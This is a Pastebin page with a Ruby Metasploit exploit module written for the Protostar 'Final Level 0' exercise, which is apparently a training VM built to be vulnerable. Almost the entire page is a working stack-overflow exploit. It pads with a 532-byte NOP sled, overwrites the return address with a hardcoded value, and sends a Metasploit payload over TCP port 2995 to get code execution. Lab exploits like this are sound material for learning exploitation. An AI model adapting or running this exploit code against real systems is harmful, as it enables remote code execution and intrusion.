Advertisement
Xenithz

Metasploit - Protostart Final level 0

Apr 17th, 2012
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.88 KB | None | 0 0
  1. #
  2. # Protostar Final Level0 exploit
  3. # by Xelenonz
  4.  
  5. require 'msf/core'
  6.  
  7. class Metasploit3 < Msf::Exploit::Remote
  8.  
  9.       include Msf::Exploit::Remote::Tcp
  10.  
  11.       def initialize(info = {})
  12.                 super(update_info(info,
  13.                         'Name'           => 'Protostar Final Level0 stack overflow',
  14.                         'Description'    => %q{
  15.                                         Exploit for Protostar Level 0 Exploit-exercise About Stack overflow
  16.                                              },
  17.                         'Author'         => [ 'Xelenonz' ],
  18.                         'Version'        => '0.1',
  19.                        
  20.                         'Payload'        =>
  21.                                 {
  22.                                         'Space'    => 211,
  23.                                         'BadChars' => "\x0d\x0a\x00\xff",
  24.                                 },
  25.                         'Platform'       => 'linux',
  26.  
  27.                         'Targets'        =>
  28.                                 [
  29.                                         ['linux x86',
  30.                                           { 'Ret' => 0xbffffcd0, 'Offset' => 532 } ],
  31.                                      
  32.                                 ],
  33.                         'DefaultTarget' => 0,
  34.  
  35.                         'Privileged'     => false
  36.                         ))
  37.  
  38.                         register_options(
  39.                         [
  40.                                 Opt::RPORT(2995)
  41.                         ], self.class)
  42.        end
  43.  
  44.        def exploit
  45.          
  46.           print_status("Generate Payload")
  47.           sploit = make_nops(target['Offset']) + [target.ret].pack('V') + payload.encoded
  48.           connect
  49.           print_status("Sending #{sploit.size} byte payload...")
  50.           sock.put(sploit)
  51.          
  52.           handler
  53.           disconnect
  54.  
  55.        end
  56. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement